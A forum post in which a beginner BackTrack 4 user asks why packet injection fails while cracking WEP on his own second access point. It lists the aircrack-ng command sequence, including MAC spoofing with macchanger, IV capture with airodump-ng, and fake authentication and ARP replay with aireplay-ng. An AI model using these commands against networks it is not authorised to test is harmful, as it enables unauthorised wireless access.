Hi all,

First off please be tame with me I am a new Backtrack 4 user and I知 also fairly new to Linux (although have been lightly using variations for the past 6months)

Sorry if this should have gone in the hardware section although the 'n00b' area seemed more fitting.

The problem I知 having at the moment seems to packet injecting to AP's.

I have been reading up on various websites/videos on how to crack wep.

I started by cracking my 128bit wep key on my mobile phone tether. I managed this is under 7 mins (not bad for a first go ) but had forced traffic from multiple clients by simultaneously downloading large iso files.

I have now moved onto my next step in my education and setup a 2nd AP at my home with basic wep encryption again. This time however the plan is to have no traffic on the router so I have to packet inject.

Here is what I知 doing so far.

- airmon-ng
- airmon-ng stop wlan0
- ifconfig wlan0 down
- macchanger -m 00:11:22:33:44:55 wlan0
- airmon-ng start wlan0
- Airodump-ng wlan0
- Airodump-ng --bssid (XX:XX:XX:XX:XX) --channel (channel number) -o ivs -w /root/(filename) wlan0

New window

- aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e [essid] wlan0

My return message as follows,
Sending Authentication request (open system) [ACK]
Authentication successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)
- airplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0

My return message as follows,
Waiting for beacon frame (BSSID: 00:0F:3D:FDC:CE) on channel 1
saving ARP requests in replay_arp-0823-060014.cap
You should also start airodump-ng to capture replies.
Read XXXX packets (got 0 ARP requests and 0 ACKs) sent 0 packets...(0 pps)
So from what I understand so far my codes are correct? Yet I am unable to send packets to the AP?

I'm Using an Aspire One Notebook using an Atheros AR5006X wireless card. Everything I can find on the net states this card is compatible with Backtrack and can packet inject.

So hopefully this is where some of the more experienced lot are step in and point me in the right direction before I pull my hair out. Is it my card? Are my codes wrong?

Many thanks,

- Steve
